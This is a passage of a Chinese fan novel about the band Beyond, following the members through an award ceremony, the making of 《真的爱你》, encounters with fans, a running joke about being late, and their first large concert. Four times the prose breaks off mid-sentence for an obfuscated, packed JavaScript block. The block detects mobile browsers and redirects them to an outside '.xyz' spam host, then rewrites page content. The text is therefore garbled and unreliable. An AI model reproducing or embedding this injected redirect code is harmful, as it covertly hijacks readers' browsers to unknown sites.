舒慕尽量控制着自己欢呼的音量。 尽管之前有内部好友的提前透露,让他对乐队得奖是有把握的,可人是很奇怪的,不到那一刻来临,陈少宝的心总是悬在空中,现在可真是能安心了。 “起码有奖拿回去了。”陈少宝宽慰舒慕道。 舒慕保持乐观的笑了笑:“也是,去年乐队想冲击铜奖,都没能拿到,这一下等于跳级了,他们肯定很激动。” 与此同时,前方舞台的屏幕上开始播放beyond乐队的宣传短片。 “1988年8月更改成员的beyond乐队,同年推出三张大碟,包括《现代舞台》、《秘密警察》以及《旧日的足迹》精选叱咤上榜歌,包括专业推介冠军歌《冲开一切》、《大地》。” 播放完毕,家驹带头朝台上走去。 主持人:“恭喜beyond。” “谢谢,谢谢。” “先过来,先过来,这个奖先颁给你们。” “好开心好开心,多谢多谢。”家驹从主持人手中接过唱片模型奖杯,举起来向众人展示了一下,然后又递给身边的成员们轮流感受这份沉甸甸的荣誉。 主持人抬手示意:“请随意说下自己的感受。” “多谢……多谢喜欢beyond的朋友们。”家驹表面看上去激动的心情平复了很多,不过仔细瞧他的细微动作,插进口袋里的手重复了多次,同步深呼吸了几下,才继续发言:“我觉得作为一支乐队,写歌是一个很基本的条件,那们会继续做出好的音乐。” 这时主持人特意问道:“那你们通过自己作曲,有什么心得呢?” 世荣:“我觉得作为一支乐队如果这歌是自己写的和自己唱的话,是会全神贯注点,而且会有共鸣一点。” 家强:“还有基本上我们对写歌和玩音乐有很大兴趣,那么我们写的歌也会比较自然了。” 阿Paul:“不过,我们都保有这个权利,如果有机会有一首歌,我们四个人都同时喜欢的话,就算不是我们自己的,我们都会玩,因为我们可以用我们自己的方法去演绎。” “好的好的。”主持人出其不意地抛出问题:“在这里呢,我想问你们一个问题,就是今年似乎Band很时兴拆伙呀,有人说是Band低潮了,不知道你们同不同意?你们将来又有什么打算?” “这样啊。”家驹说:“回答这个问题之前,我还要多谢两位合作许久的朋友,一个是我们唱片监制王纪华先生和填这个歌词的刘卓辉先生,好多谢他们的帮助,我们才会有今天的成绩。” 说完之后,家驹将话筒递给阿Paul:“至于这个乐队的低潮和拆伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他离开后不久,众人没想到又有一群漂亮的女孩们结伴而来,也不知道是谁大开绿灯放她们进入后台的。 最为搞笑的是,她们的眼睛看都没看家驹、家强和阿Paul,似乎把三人当成透明,方向直直的冲着阿荣走去。 原来她们来这的目标只有一个,那就是鼓手-世荣。 舒慕无奈地扶额,看她们满脸通红,眼睛眨都不眨地含羞带怯望向世荣,鼓起勇气:“阿荣,能和你拍张照片吗?” 世荣不好意思拒绝,微笑地应了。 下一刻,这群可爱的女孩们眼睛冒着粉红泡泡,舒慕站在一边观望着,都害怕她们要晕倒。 家驹这时悠悠闲闲地走过来,用手指了指层层被包围起来已经完全看不到身影的世荣:“不知道为什么那些女孩子那么迷阿荣。” 舒慕闷笑一声,说:“这可是潘安荣。” 22.《真的爱你》问世 随着《秘密警察》的成功,新艺宝趁热打铁安排乐队到无线参加“淘气双子星”电视剧的试镜,一向被公认为乐队中最帅气的世荣和最有领导才能的家驹因为看起来不像学生而被淘汰,阿Paul和家强则顺利的拿下了剧中重要的两个角色。 不仅是演戏的机会,新艺宝同时将该剧的主题曲、片尾曲全部争了过来,并交给beyond进行创作。 作为剧中主角之一的阿Paul对跨界演戏没有什么兴趣,只是基于乐队的利益考虑,不然他只乐于弹音乐。 这部仅有十集的电视连续剧在7月份开播,每个工作日晚上7点35分和观众见面,每次一集,持续两周。 尽管接拍电视剧给他们带来了以往没有的高收入,也扩大了乐队的影响力,但他们对此仍称不上有任何好感。 家驹说:“我们刚开始玩音乐的时候没有感到任何压力,很开心,因为我们只需要把精力用在音乐上。但当我们走上职业乐队这条路,就要做很多和音乐不想干的事情,起初会觉得非常难受,感觉我们是在被逼迫着去做一些无关痛痒的事情。” 另一方面,当一支乐队其中有人走出来,外界就开始胡思乱想、议论纷纷。阿Paul在这一时期就被问到如果有一家大公司愿意出高价挖走他,是否会愿意的问题。 但阿Paul当时立马否定了这种如果,并说:“如果是为了赚钱,我根本不需要做音乐。我做音乐很大程度是因为兴趣,我喜欢玩乐队。” 除了拍戏赶通告宣传外,乐队新专辑的录制也提上了日程,这次新艺宝继续沿用了王纪华和林矿培的制作班底。 几年的摸索,家驹逐渐意识到如果继续坚持自己喜欢的创作方式,乐队很难被大众广泛接受。因此,他决定改变以往自我的创作心态,带领beyond成为一支流行乐队。 在这一时期,披头士成为了他学习的对象。 新专辑创作时期,正巧遇上即将到来的母亲节,新艺宝为了应景,便要求乐队赶在母亲节到来之前完成一首贴合主题的情歌,放在专辑当中一起发行。 面对唱片公司的要求,家驹把自己关在Band房里冥思苦想,废纸一张接着一张,终于在初春的一个夜晚,他兴冲冲地打电话邀请词作者小美到Band房一聚,因为他终于写出了新歌。 小美来到之后,家驹抱着吉他把新歌的旋律弹给她听,桌上放着纸和笔,还有一包烟,排列的整整齐齐。 在连续反复弹奏多遍后,在家驹旋律的引导下,小美的灵感爆棚,她随手拿过眼前的白纸,跟着音乐伴奏写下了歌词。 “没法解释怎可报尽亲恩” “爱意宽大是无限” “请准我说声真的爱你” 虽然刚出炉的歌词还不够完整,但面对初稿,家驹对里面的几句歌词十分满意。 “我要把歌词念给我妈听,她一定非常开心。”家驹说完露出了羞涩和愧意的表情,他向小美坦言:“我已经很久没有和我妈说过‘我爱你’了。” 小美微微一笑,安慰道:“那我们就用这首歌向母亲致谢吧。” 过了几天,成员们集合在Band房排练演奏时,家驹当着大家的面献唱了精修后的完整版,几人听了之后,隐隐约约察觉到与之前所作的歌曲风格大相径庭。 阿Paul第一个开口:“家驹,这首歌商业味道太浓厚了吧?” “是啊。”家强也说道:“和我们不太搭。” 埋在一堆大鼓里的世荣没有发表意见,只是平静地问道:“家驹,是公司要求我们这么做的吗?” 世荣这么问,也是因为几乎每次新艺宝的总经理陈少宝给乐队开例行会议的时候,由于三人都还在梦乡里和周公约会,所以基本都是家驹作为代表前去。 记得有一次,陈少宝仍旧除了家驹没有见到其他成员,到底没忍住好奇心,便问道:“家驹,为什么总是你自己来?” “我们Band仔太阳晒屁股才会起床的了。”家驹笑嘻嘻地说。 陈少宝默了一下,又问:“那写的歌,其他人怎么想?” “我回去把意思转达给他们就行了,这简单。”家驹大佬般的摆摆手回答。 放下吉他,家驹解释了这首歌创作的缘由:“公司的确希望我们为即将到来的母亲节做一首大众情歌,但我在想,为什么我们不能冲破局限,爱情伟大,难道亲情就不值得歌颂吗?” 舒慕拿起桌上那张写着歌词的纸,缓了一会儿,说:“如果只宣扬爱情,未免太过俗套了。” “所以,我们应该突破现有的格局,我承认在现实面前,beyond已经向商业倾斜,但也并不是全部妥协,我们还是有我们的坚持。”家驹严肃地向众人说道。 屋子里陷入一阵短暂的沉默。 大概几秒钟后,阿Paul、家强和世荣从沙发上站起来,默默拿上自己的乐器,才勾着嘴角齐声吆喝: “那就来练习吧,家驹。” 四人相视一笑,不再纠结什么商业不商业的,讨厌不讨厌,他们但凡在音乐的讨论上,从来都是以大局为重。 毕竟,前方的路途既遥远未知也充满艰难险阻,好在成员之间能够互相理解包容,懂得学会忍耐现下的环境。 排练的过程中,整个乐队齐心协力,热情而专注地进行着自己的职责。 确定新专辑内的十首歌后,3月底,录制工作正式开始。 其实,除了《真的爱你》这首母亲节应景之作外,在新一张的专辑中,乐队在音乐创作上是十分多元化的,比如既有重摇滚的《爆裂都市》,又有不禁令人伤怀的《曾是拥有》,还有激励年轻人积极奋进的《逝去日子》和《我有我风格》。 当新艺宝高层和陈少宝在录音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825690|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室听到这首歌时,随着最后一个音符落下,工作人员按下红色的停止键后,高层立刻找来了家驹。 “我记得之前说过希望你们创作出一首母亲节主题的大众情歌,但这首歌完全是在讲亲情啊。” 家驹说出了自己的想法:“我觉得赞颂母爱更有意义,和母亲节的主题比较搭配。” 高层对此并不赞同:“一支以摇滚著称的乐队,突然唱这种软绵绵的亲情歌,必然会影响后续专辑的销量,应该把这首歌从专辑里删除才对。” 对方的话刚讲完,就被家驹毫不犹豫地拒绝了,他语气变得很坚定,甚至有些发火的意思:“我们坚持以母爱为主题,并且这首歌必须作为新专辑的主打。如果你们不采纳的话,我宁可收回这首歌也不会改变其他。” 什么?还要当做主打歌? 高层满脸懵地看向陈少宝,事情突然不在他们的掌握之中了,反观陈少宝表现得很平静,他和家驹已经相处有一段时间,倒是更容易接受他所表达的想法。 角落里的舒慕不由得望向家驹的方向,他们看似桀骜不驯,是家长眼里的叛逆少年,但其实经常在妥协,在“听话。”但正因为如此,他们失去的已经够多了,再不想事事顺从。 眼看家驹如此执拗,那势头似乎九头牛都拉不回来的样子,新艺宝的高层没有办法,只得做出退让。 之后,陈少宝要求制作团队其他正在录制的歌曲都要为这首《真的爱你》让路,务必赶上电台迎接母亲节活动。 既然要作为主打歌,新艺宝便在专辑未发行之前,同时为之后的打榜铺好了道路。 4月底,《真的爱你》成为了各大电台的座上宾,并且很快攀升至三个音乐榜单榜首的位置,一直停留了12周。两周之后的母亲节当天,这首歌已经传遍了香港的大街小巷,乐队由此一跃成为众多年轻人心中的偶像。 也是从这个时候开始,那些向来不看好beyond,认为他们不务正业的人群,尤其是孩子们的家长,突然之间便打破了过去对他们的偏见、批评,玩摇滚、玩音乐不再是看上去玩物丧志的事情。 beyond四人成为了他们眼里的好孩子。 经过大半年的精心筹备,beyond的第四张专辑终于确定下了名字,因为没有找到一个合适的名称,他们只好用罗马数字代替,刚好这也是他们乐队发行的第四张专辑。 就这样,《Beyond Ⅳ》得以在7月初问世。 在这张专辑中,有太多太多的亮点,表现最为突出的当属世荣,不仅为阿Paul作曲的《最后的对话》贡献了自己的填词才华,而且首次交出了令监制大为满意的曲子《摩登时代》。 另外,值得一提的是,乐队首次打破了过往谁作曲谁演唱的惯例,取而代之的则是通力合作,尽情发挥各自特长,完美诠释了四位一体的beyond精神。 23.《真的爱你》爆火后疯狂的粉丝行为 4月中旬,专辑制作在进入尾声时,乐队再一次飞往了泰国度假,释放紧绷已久的大脑,另外还有一个目的便是为了还神。因为去年他们来到这里旅行时,曾经许下宏愿,希望beyond在新的一年收获丰硕果实。 那么,如愿的他们势必要来还神,几个大男人约定今后每年都要来一次。 家驹对朋友十分豪爽,常常会买小礼物逗朋友开心。《真的爱你》是乐队和小美第一次合作,却为乐队开了个好头,为此他买了一条银饰项链送给小美,感谢她写了一首反响很棒的歌曲。 收到礼物的小美受宠若惊,拿着那条小巧的银链笑得合不拢嘴,别提有多么的开心。 家驹笑容亲切地转到她身后:“来,我给你带上。” 小美把项链递给他,体贴的撩起自己放下来的长发:“好。” 歪着头满意的再三看了看自己挑选的东西,家驹对小美认真温暖的说道:“戴上了就一世老友啦。” 谁会不为这句充满情谊的话感动呢?! 小美充满感性的低头捏着那条细细的项链,消化着澎湃汹涌的内心,礼物虽轻,情义却深厚。 她望着那双几乎放光般明亮的眼睛,郑重地点了点头:“嗯,一世朋友。” 后来的后来,小美和舒慕聚在一起回忆往昔岁月,聊着聊着,她们的话题便不知不觉围绕起家驹,想起老友,她告诉舒慕,那条项链她戴了将近十八个年头,未曾放下过。 《Beyond Ⅵ》自发行后,不到两个月的时间,销量就已达到十万张,这是迄今为止,乐队从来没有过的好成绩。 由此而来的烦恼大概就是乐队被贴上了偶像的标签,虽然乐队自身坚决否认,内心十分厌恶这种说法。他们厌倦这一切,但无法拒绝这种曝光的机会,一股强大的力量在推着他们往前走,那是商业的力量,是捆绑在身上的唱片合约。 最真实的感受莫过于媒体每次采访他们时,总会要求他们摆出各种帅气或者可爱的造型,阿Paul苦哈哈地大倒苦水:“我会弹吉他,会练习微笑,但可爱,我真想知道从哪里可以学到。” 乐评人在这个时候也没闲着,自从《真的爱你》爆火后,他们纷纷抨击beyond背叛摇滚,丧失自我。 虽然这样的声音已经不是第一次听到了,但那些愈演愈烈不堪入耳的言论让家驹再也无法沉默隐忍下去。 有一次在采访上,他百思不得其解地反问道:“有些人会说《真的爱你》好pop、好流行、好俗气啊之类的,我不明白我歌颂我妈妈有什么庸俗的。我觉得,我们的歌很明显就是说我们乐队对自己母亲的一种赞颂,为什么叫庸俗呢?!” “那我只是对我自己的母亲,我自己的心里面发表一个内心的世界,在我的歌里面表达,我唯一的渠道就是这里了,难道要我出书啊!”家驹生气的接连开怼。 尽管一些乐评人对乐队有很多的批判,但这一点儿都不妨碍年轻女孩们,尤其是学生党们对自己偶像的狂热追星程度。 有一次,Band房里只留有家驹自己蒙头补觉,家强、阿Paul、世荣和舒慕相伴去宠物商场。 “哇,你们看,这只好可爱。”舒慕弯了弯身子,透过玻璃窗满脸怜爱地指着趴在小屋角落里睡得正香甜的小狗。 世荣:“萌萌的样子。” 家强想要买下来的心又一次被提了上来,他兴冲冲地说:“这个我们买回去玩吧?” 阿Paul横了他一眼,轻飘飘地打击道:“你是很悠闲?别忘了养动物是很耗费时间和精力的,我们哪有时间。” “奥。”家强失落的应了声。 “那我们再这多玩一会,过够了瘾再回去。”舒慕提议道。 好久没出来放飞自我的三人一下子解放了少年的天性。 正当几人一边玩闹着说笑,一边挨个逗弄各类品种的宠物时,几个姑娘突然之间冲了过来,把家强、阿Paul和世荣围了起来,顺便无情的把傻眼目睹这一切的舒慕划了道分界线排除在外。 “这都是从哪儿冒出来的?”舒慕喃喃道。 三人尴尬地笑着安抚瞎咋呼的女生们:“都别挤,别挤!” “好痛!”家强脸上浮现出一丝痛苦的面孔:“谁踩我的脚了!” 阿Paul快速给一个女孩签完名后,从人群里费劲的突围出去,拽上一旁的舒慕,转头朝着另外两个家伙直呼:“还站这干嘛,跑啊!” 接着奋力逃出来的世荣目光一扫:“家强还在里面呢。” 还在围困中的家强似乎遇上了不一般的女粉丝,只见她勇敢的掏出自己准备的礼物硬塞进偶像的怀里,口中还在喃喃细语。 家强微微低下头想听清楚这个看上去娇小的女孩到底在说什么,怎料对方突然向他发起袭击,嘟起嘴唇竟然意图一亲芳泽。 这一可怕的举动,可把从来都没见过这局面的家强别过脸去惊恐地呼喊:“阿Paul、世荣!” “还笑呢。”舒慕连忙推了推被这画风笑得捧腹不止的两人:“你们快去解救他吧,再不去估计就要哭出来了。” “好好好,我们这就去。” 半晌,三人终于得以脱身,但似乎搞笑的事情还没有结束,因为…… 家强欲哭无泪地垂下眼眸,盯着自己鞋底一片柔软的地方,由于刚才跑的时候还在回头观察着是否有人跟上来,也就十分悲催的没有注意到脚下的情况。 “哇……”率先发现的阿Paul指着那一坨,声音大的简直要让全世界都听到:“家强,你踩到狗屎啦!” 家强一个眼刀扫过来,咬牙切齿地说:“你-好-像-很-高-兴-啊。” 世荣和舒慕顺着目光瞧过去,再抬头看向家强圆圆的脸盘上一副作呕的模样,忍不住对视一眼,然后极力忍耐着发笑的声音。 阿Paul有所收敛笑嘻嘻的表情,努力一本正经摇着头:“没有,没有。” “哎呦喂。”家强眼神透露着浓浓的怨念,从脚下带上来的感受越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849587|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越真切,越想就越有那个画面感,想到最后直接崩溃的仰天怒吼:“我怎么这么倒霉啊!!!” 完了,这下众人再也止不住笑出了声。 同样倒霉的还有此时在Band房的家驹,面临着和他们一样的窘境。 正在和周公钓鱼的家驹被一阵急促的门铃声打扰,睡眼惺忪的他缓缓从床上坐起来,随手拿过放在床边的眼睛戴上,一般只有出去表演,他才会戴上隐形。 大脑还处于卡机状态的他静了一会儿才缓过神来,遂即掀开被子穿上鞋跑去开门。 门刚打开,就看到三四个十五六岁的女生毫不客气地问道:“喂,世荣在不在啊?” 家驹早已见怪不怪这种场面,他用沙哑的声音回答道:“不在。”说完,立刻关上门。 屋子瞬时恢复了安静,只是没有想到这种和谐的声音仅仅维持了十五分钟,然后,门铃声再次响了起来。 重新躺回去准备继续入睡的家驹:“……” 他颇为烦躁地挠了挠杂乱的头发,又一次打开门。 这一批为首的看起来是个温柔小姑娘,只听她怯怯出声:“那个,请问家强在不在啊?” 家驹耸了耸肩,说:“他不在。” “这样啊……”遗憾看不到自己喜欢的偶像,那群人也没什么和家驹聊的,最后只得悻悻然离开。 戏剧性的是又隔了大概十五分钟,又有一群人来找阿Paul。 门一开,家驹直截了当地告诉她们:“现在除了我,家里没有任何人,你们不需要白费功夫!” 送走那群粉丝后,彻底没了睡意的家驹干脆找到一盘租来的碟,忙于专辑、各种通告宣传工作的他最近还没能抽出时间看呢,现在倒是挺合适的。 来到客厅准备看电影的他,突然心生一计,原来家驹是拿来遥控器把音量开到最大声,免得再被她们干扰。 当家强他们几个回来的时候,大家坐在一起边吃着晚饭边分享今天的遭遇时,家驹绘声绘色地吐槽道:“你们知不知道,我今天被那群女粉丝烦了足足三个小时,刚躺下就有人问我世荣在不在,家强在不在,阿Paul在不在,我算了算,基本每隔十五分钟就有人敲一次门。后面我直接就当没听见,掩耳盗铃。” 舒慕咽下一口菜,抬抬下巴:“他们三个今天也被突然袭击了。” 即使已经过去几个小时,即使味道早已去除掉,但家强仍念念不忘今天的经历:“你们都没有我惨好不好,我可是不小心踩到狗屎了。” 家驹扒着饭:“有些粉丝真的很过分,不知道给我们带来多大的困扰。” 世荣打趣道:“如果能开发一种歌迷躲藏机器就好了,在合适的时候才出现,不应该出现的时候就消失,那该有多好。” 一听这话,阿Paul双手赞成,并且补充道:“尤其是专门对付长期在我家门口紧守岗位地乐迷。” “如果能隐形是最好的咯。”家驹说。 三子异口同声道:“同意。” 24.吵什么吵,钱在这里! 当《真的爱你》爆火后,家驹的压力反而骤然增大,再加上每天都有大量歌迷蹲守在二楼后座附近,严重影响了他的生活和工作,于是他决定搬回苏屋邨。 一方面是希望静下心来创作,一方面也是因为自从成为职业乐队后,他们兄弟二人就很少陪在父母身边,不免让他感到自责,这个时期回去正好也可以陪陪家人。 这个时期,乐队的经纪人趁热打铁筹备起新一轮的演出计划。虽说在香港,登上红磡体育馆的舞台是每个音乐人的梦想,但他理性一想,beyond在大舞台上的演出经验仍有不足的地方,直接就跳到红馆并不是最好的选择,如果退而求其次选在伊馆开个唱的话,还能获得磨练,想来也不错。 他认为,反正beyond去红馆开演唱会是迟早的事情,不能急于求成。 接下来,在和此次乐队演出商的大名娱乐负责人赵先生商议场地的时候,当他把自己的想法说出来后,赵先生也非常认同在伊馆开演唱会的计划,毕竟红馆在年底前的档期都已经排满,最快也要等到明年4、5月份才有可能抢到空档,反观伊馆恰好在12月有一个9天的空档。 两人一拍即合后,经纪人将这个消息告诉了家驹,当听到演唱会场地定在伊馆而非红馆时,他带着非常明显的失落语气问道:“为什么不在红馆开?” 不等经纪人开口,家驹兀自解释自己的想法:“如果在伊馆开的话,场数比较多,相对也会比较辛苦。” “放弃红馆,第一是因为档期没有合适的,其次如果在红馆开的话,顶多就是2场,但伊馆就不一样了,至少能开5、6场。对于外面那些观众和媒体来说,他们重视的是场数,而不是具体的观众人数。” 经纪人从另一个角度和他沟通:“你想想,开1场红馆的和开5到6场伊馆的,听听那阵势就不一样啊。” 最终,在经纪人的有理有据下,内心颇感失望的家驹只能被动接受了这一安排,但不服输的他牢牢地在心里对自己说道:beyond迟早都会登上红磡的舞台。 与此同时,唱片公司希望乐队能与演唱会同期发行一张全新专辑,理论上时间是充裕的,但经纪人却有不同的意见,距离伊馆演唱会只有四个月的时间,中间还要去拍电影和参加一些宣传活动,录制新专辑肯定会耗费乐队成员的心神,说不定到最后无论是乐队的个唱,亦或是新专辑发行都做得不够完美。 全心全意带领成员准备演唱会的家驹自然也不太愿意在这个时候出一张新的专辑,这对他来说,除了感到吃力之外,心理上也有无形的压力。 既然如此,家驹偕同经纪人通过与唱片公司再三商议,最终制定出了一举两得的办法,那就是将过去几年写给别人的作品重新灌录,然后再加两三首新的,就足够出一张新的专辑,这样既满足了新艺宝的要求,同时也相应的减轻了乐队工作量。 9月,beyond开始录制乐队的第五张专辑《真的见证》。 因为上一张专辑的成功,乐队在唱片公司有了更多的话语权,他们几乎在这张旧曲新编的专辑里酣畅淋漓地发挥着自己被压抑许久的摇滚精神,将rock风格做到了极致,比如,吉他的音量被推到最大声,solo比以往更多,鼓点如暴雨般从前奏延至尾声。 除了那张专辑封面依旧没什么特别之处,但挑剔的乐评人总算是闭嘴了,甚至给出了好评: “原曲中不太协调的部分,经过beyond的重新编排,形成了一致的声音。重新编奏的作品偏向重型,乐器的演奏多了许多,这是beyond在这张专辑中做得最好的一点。” 从乐队走红,他们四人就被外界强按上偶像组合的标签,从而忽略了他们的本身可是一支偏重型的摇滚乐队。 欣慰的是,乐队每个成员的心理承受能力都很强,懂得等待。 接踵而来的工作几乎占据了乐队全部的时间,以前还能出去露个营,或者结伴去钓鱼,又或者出去看电影,结果现在连出门兜风都已变成奢望。 除了自由度在逐渐的减少外,在家驹身上还出现了另外一个问题。 或许灵感总是夜晚来找他的缘故,导致晚睡晚起成了家常便饭,可最让其他成员头疼不已的是他慢条斯理的性格,为了帮他改正这个不好的习惯,乐队立下了一个规矩。 但,貌似不怎么管用。 有一次是为了参加电视台庆祝母亲节活动,乐队司机阿龚去苏屋邨接家驹,与其他成员、舒慕汇合。 车缓缓停在楼下,却不见半个人影,好在阿龚早已习以为常,换了个舒服的姿势先眯一会儿。 “咚咚咚” “咚咚咚” 猛然听到响声的阿龚一下子睁开眼,往车窗方向望去,车窗外的家驹正冲着他露出灿烂的笑呐。 上车后,阿龚透过后视镜看了一眼坐在最后排的人,忍不住出声提醒:“家驹,等会估计舒舒又要唠叨你了,这个点我们肯定要迟到,以后你还是早点出门吧。” “安心安心。”和阿龚替他忧虑的心情相比,当事人反倒是一脸不担心的样子,甚至在车里唠起了嗑。 另一边的舒慕正仔细的在电视台休息室里帮等会上场的乐队三子整理着演出服装,嘴里不停地念叨着:“阿龚怎么还没带家驹来呢,这都几点了,万一迟到,那些八卦记者又该报道他耍大牌了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864487|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “舒舒姐,等会我哥来了,我们一起谴责他。”家强笑开了花,任何损他哥的时候,他都不会缺席。 舒慕总觉得,看来这孩子小时候总被家驹欺负,长大之后才千方百计想扬眉吐气。 正天马行空脑补兄弟俩孩童时期的画面时,一个粗哑故意装凶的嗓音突然插了进来:“黄家强,你皮痒了是不是?!” 这声震得家强下意识身形一抖,飞速躲到舒慕身侧寻求保护,逗的一旁看戏的阿Paul和世荣乐不开支。 “好了好了。”舒慕赶紧制止两兄弟开战:“家驹,赶快过来换衣服、化妆,等会就要上台了。” “知道了。”家驹咧开嘴角笑了笑,非常听话的坐到了化妆台前。 表演结束,大家一起乘车回到二楼后座,家驹刚一坐下,家强、阿Paul和世荣像是说好了似的集体讨伐他。 舒慕调侃道:“以后我们就叫你迟到大王好了。” “你都知道自己要迟到,就别再磨磨蹭蹭的了。” “是啊,一会要弄头发,一会又要收拾衣服,总有做不完的事情,快点出门吧。” 窝在沙发里的某人面对众人的责备,神色不慌不忙地反问道:“你们想想,如果我不收拾好,蓬头垢面提前一小时到也没什么意义,你们不如就等我一下啦。” 舒慕示意大家安静下来,然后对家驹说道:“为了改掉你迟到的坏习惯,我们想了一个办法。” 家驹没听明白:“什么?” 舒慕告诉他:“以后乐队里如果谁迟到,一次100块,自己奉献出来,作为乐队日常经费使用。” “你有意见吗?” “我们没问题啦。”阿Paul、家强和世荣三人纷纷异口同声的回答,反正和他们没关系,毕竟四个人里只有一个经常迟到。 “你们都OK,那我也OK。”家驹觉得这没什么大不了的,于是很自然地接话道。 舒慕笑了笑:“那就这么愉快的决定咯。” 接下来,本以为迟到的情况会有所改变,可家驹的表现令大家更深表无奈。 因为一开始姗姗来迟,家驹还会很尴尬地和众人说着抱歉,并表示下次绝对注意,那认真夺目的眼睛,想不相信他都难。可越到后来,在又一次演出来临时,果然他 没有任何悬念的迟到了,但这次不一样的是,他的一个动作把所有人都气笑了。 原来他刚进门,乐队其他成员刚要开口吐槽他,结果他大大方方从口袋里拿出100块钱,重重地放在桌上,神采飞扬地冲被他这番神操作整得愣住的大伙儿喊道: “吵什么吵,钱在这里!” 25.真的见证演唱会(一) 十月初,售票工作正式启动,七千多张门票在一周之内销售一空,速度之快令人咂舌,趁着大好形势,演出商决定加售两场演出门票,结果五千张门票又很快售罄,于是他们决定继续加演两场,正因为这样,演唱会的时间被提前了两天。 12月5日,Beyond新专辑《真的见证》正式发行上市,同一天,万众瞩目的“真的见证”演唱会也终于在伊利沙伯体育馆拉开帷幕。 舒慕好奇地去到前场转悠了一圈,回来后兴冲冲地和大家分享道:“你们一定想不到,现在台下坐着的除了年轻男女和学生外,还有不少年长的人和十来岁的小孩。” 家驹听着稀罕:“没想到Beyond的乐迷竟然囊括了老中少三代。” 舒慕认为:“平时来参加歌迷活动的多数是学生,其他人平时要么做家务,要么工作赚钱,根本没有时间。” “今晚肯定比歌迷活动来得过瘾。”家强激动地想。 世荣安静地听大家闲聊,时不时附和两句,看得出来一连开七场演唱会的欢快心情,写满了整张脸上。 “舒舒,舒舒。”阿Paul急忙地跑过来。 舒慕注意到他的脸色不太对,按照过往的经验,眼皮下意识一跳:“怎么了,阿Paul?” 正在闲聊的几人也好奇地望了过去。 阿Paul皱着眉头说道:“我的拾音器不见了。” 舒慕一怔,忙问:“有没有好好找找?” 阿Paul脸上写满了郁闷:“翻遍了还是没有。” 舒慕:“你没带备用的?” 得到摇头的回答后,舒慕紧急叫来乐队的工作人员,吩咐他赶快坐车去阿Paul九龙的家里拿到备用的拾音器。 兵荒马乱好一阵儿后,一切终于恢复如常。 “要上台咯。”站在门口的舒慕看了看表,提醒道。 四人带上乐器,挨个和舒慕击掌打气,自信昂扬地走出休息室。 此时,偌大的场馆响起了开幕音乐,灯光开始不停变换,最后映照在舞台中央。 即便已经彩排过多遍,以为就算不很完美,也会比较顺利,结果第一场演出仍是状况不断。 先是阿Paul因为没有充足的时间把设备调到理想状态,导致在弹奏《逝去日子》的过程中出现了失真的问题。另一位家驹的拾音器同样令人头疼不已,他只能本能地弹着吉他,但设备的不给力,终究让他因为听不清反馈而弹走音。 于是在这种发挥大受局限的情况下,乐队成员只能小心翼翼地弹奏着每一个音符,一言难尽的完成首演。 事后,乐队在评价第一天的演出时,家驹认为这场最令人不满的就是音响效果,因为他们本来就要靠台上的拾音器来获取演奏的反馈,但他根本听不清自己在弹什么。 阿Paul控诉道:“9个月前也是在这里开了两场来自英国伯明翰的乐队,当时我们都能站在椅子上边跳边看,怎么轮到我们开演唱会就完全不一样了呢?” 家强直嚷嚷着不公平:“这也太区别对待了吧!” 感到没有尽兴的世荣说:“或许是因为台前围着栏杆,让歌迷不敢往前凑。” “之后的六场,绝对不允许再出现今天的问题。”家驹神情严肃的对在场所有人员叮嘱道。 从第二场开始,演出渐渐步入正轨,观众的反应也比前一天更为热烈,期间为了达到满意的效果,乐队一直到第七场才和现场的保安谈妥,允许歌迷在演唱会接近中间时靠近台前,与他们一起感受音乐的力量。 舒慕对于最后一场记忆很是深刻,或许是因为留下了太多温馨、好笑的画面。 【Beyond真的见证演唱会由大名娱乐主办】 【Viviar威达摄影独家赞助】 【舞台设计Design creation】 【舞台制作玲爱广告公司】 【灯光工程21世纪工程有限公司】 【全场音响和乐器EV音响有限公司】 在表演进行中请勿在场内使用闪光灯摄影或使用无线电话,多谢合作。 大家准备好了吗? Vivar威达Beyond真的见证演唱会现在开始! 话音刚落,《摩登时代》旋律响起,满场聚光灯汇集在舞台四人身上。接着家驹又连串唱了非常rock的《冲开一切》和《秘密警察》,在他身边一左一右的阿Paul和家强缓缓走近对方,尽情地摇晃着脑袋solo斗琴。 